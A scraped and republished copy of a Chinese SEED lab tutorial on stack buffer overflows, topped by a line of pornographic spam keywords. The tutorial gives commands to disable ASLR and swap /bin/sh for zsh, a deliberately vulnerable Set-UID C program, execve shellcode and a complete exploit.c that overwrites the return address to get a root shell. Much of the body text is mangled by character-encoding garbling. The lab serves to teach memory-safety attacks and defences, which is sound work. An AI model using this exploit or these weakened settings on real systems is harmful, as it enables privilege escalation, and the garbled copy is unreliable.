日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

SEED实验系列:缓冲区溢出漏洞试验

發(fā)布時(shí)間:2024/4/14 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SEED实验系列:缓冲区溢出漏洞试验 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

本文詳細(xì)出自http://www.shiyanlou.com/courses/231,轉(zhuǎn)載請(qǐng)注明出處。

一、實(shí)驗(yàn)描述

緩沖區(qū)溢出是指程序試圖向緩沖區(qū)寫入超出預(yù)分配固定長(zhǎng)度數(shù)據(jù)的情況。這一漏洞可以被惡意用戶利用來(lái)改變程序的流控制,甚至執(zhí)行代碼的任意片段。這一漏洞的出現(xiàn)是由于數(shù)據(jù)緩沖器和返回地址的暫時(shí)關(guān)閉,溢出會(huì)引起返回地址被重寫。

二、實(shí)驗(yàn)準(zhǔn)備

系統(tǒng)用戶名shiyanlou,密碼shiyanlou
實(shí)驗(yàn)樓提供的是64位Ubuntu linux,而本次實(shí)驗(yàn)為了方便觀察匯編語(yǔ)句,我們需要在32位環(huán)境下作操作,因此實(shí)驗(yàn)之前需要做一些準(zhǔn)備。
1、輸入命令安裝一些用于編譯32位C程序的東西:

sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev

2、輸入命令“l(fā)inux32”進(jìn)入32位linux環(huán)境。此時(shí)你會(huì)發(fā)現(xiàn),命令行用起來(lái)沒那么爽了,比如不能tab補(bǔ)全了,所以輸入“/bin/bash”使用bash:

三、實(shí)驗(yàn)步驟

3.1 初始設(shè)置

Ubuntu和其他一些Linux系統(tǒng)中,使用地址空間隨機(jī)化來(lái)隨機(jī)堆(heap)和棧(stack)的初始地址,這使得猜測(cè)準(zhǔn)確的內(nèi)存地址變得十分困難,而猜測(cè)內(nèi)存地址是緩沖區(qū)溢出攻擊的關(guān)鍵。因此本次實(shí)驗(yàn)中,我們使用以下命令關(guān)閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,為了進(jìn)一步防范緩沖區(qū)溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調(diào)用時(shí)自動(dòng)放棄它們的特權(quán)。因此,即使你能欺騙一個(gè)Set-UID程序調(diào)用一個(gè)shell,也不能在這個(gè)shell中保持root權(quán)限,這個(gè)防護(hù)措施在/bin/bash中實(shí)現(xiàn)。
linux系統(tǒng)中,/bin/sh實(shí)際是指向/bin/bash或/bin/dash的一個(gè)符號(hào)鏈接。為了重現(xiàn)這一防護(hù)措施被實(shí)現(xiàn)之前的情形,我們使用另一個(gè)shell程序(zsh)代替/bin/bash。下面的指令描述了如何設(shè)置zsh程序:

sudo sucd /binrm shln -s zsh shexit

3.2 shellcode

一般情況下,緩沖區(qū)溢出會(huì)造成程序崩潰,在程序中,溢出的數(shù)據(jù)覆蓋了返回地址。而如果覆蓋返回地址的數(shù)據(jù)是另一個(gè)地址,那么程序就會(huì)跳轉(zhuǎn)到該地址,如果該地址存放的是一段精心設(shè)計(jì)的代碼用于實(shí)現(xiàn)其他功能,這段代碼就是shellcode。
觀察以下代碼:

#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }

本次實(shí)驗(yàn)的shellcode,就是剛才代碼的匯編版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把以下代碼保存為“stack.c”文件,保存到 /tmp 目錄下。代碼如下:

/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h>int bof(char *str) { char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1; }int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }

通過(guò)代碼可以知道,程序會(huì)讀取一個(gè)名為“badfile”的文件,并將文件內(nèi)容裝入“buffer”。
編譯該程序,并設(shè)置SET-UID。命令如下:

sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexit

GCC編譯器有一種棧保護(hù)機(jī)制來(lái)阻止緩沖區(qū)溢出,所以我們?cè)诰幾g代碼時(shí)需要用 –fno-stack-protector 關(guān)閉這種機(jī)制。
而 -z execstack 用于允許執(zhí)行棧。

3.4 攻擊程序

我們的目的是攻擊剛才的漏洞程序,并通過(guò)攻擊獲得root權(quán)限。
把以下代碼保存為“exploit.c”文件,保存到 /tmp 目錄下。代碼如下:

/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h>char shellcode[]="\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ;void main(int argc, char **argv) { char buffer[517]; FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }

注意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode保存在內(nèi)存中的地址,因?yàn)榘l(fā)生溢出后這個(gè)位置剛好可以覆蓋返回地址。
而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode保存在 buffer+100 的位置。
現(xiàn)在我們要得到shellcode在內(nèi)存中的地址,輸入命令:

gdb stackdisass main

結(jié)果如圖:

接下來(lái)的操作:

根據(jù)語(yǔ)句 strcpy(buffer+100,shellcode); 我們計(jì)算shellcode的地址為 0xffffd1b0(十六進(jìn)制)+100(十進(jìn)制)=0xffffd214(十六進(jìn)制)
現(xiàn)在修改exploit.c文件!將 \x??\x??\x??\x?? 修改為 \x14\xd2\xff\xff
然后,編譯exploit.c程序:

gcc -m32 -o exploit exploit.c

3.5 攻擊結(jié)果

先運(yùn)行攻擊程序exploit,再運(yùn)行漏洞程序stack,觀察結(jié)果:

可見,通過(guò)攻擊,獲得了root權(quán)限!

如果不能攻擊成功,提示”段錯(cuò)誤“,那么請(qǐng)重新使用gdb反匯編,計(jì)算內(nèi)存地址。

四、練習(xí)

1、按照實(shí)驗(yàn)步驟進(jìn)行操作,攻擊漏洞程序并獲得root權(quán)限。
2、通過(guò)命令”sudo sysctl -w kernel.randomize_va_space=2“打開系統(tǒng)的地址空間隨機(jī)化機(jī)制,重復(fù)用exploit程序攻擊stack程序,觀察能否攻擊成功,能否獲得root權(quán)限。
3、將/bin/sh重新指向/bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得root權(quán)限。
以上練習(xí)請(qǐng)?jiān)趯?shí)驗(yàn)樓環(huán)境完成并截圖。

License
本課程所涉及的實(shí)驗(yàn)來(lái)自Syracuse SEED labs,并在此基礎(chǔ)上為適配實(shí)驗(yàn)樓網(wǎng)站環(huán)境進(jìn)行修改,修改后的實(shí)驗(yàn)文檔仍然遵循GNU Free Documentation License。
本課程文檔github鏈接:https://github.com/shiyanlou/seedlab
附Syracuse SEED labs版權(quán)聲明:

Copyright Statement Copyright 2006 – 2014 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can befound at http://www.gnu.org/licenses/fdl.html.

本文詳細(xì)出自http://www.shiyanlou.com/courses/231,轉(zhuǎn)載請(qǐng)注明出處。

總結(jié)

以上是生活随笔為你收集整理的SEED实验系列:缓冲区溢出漏洞试验的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。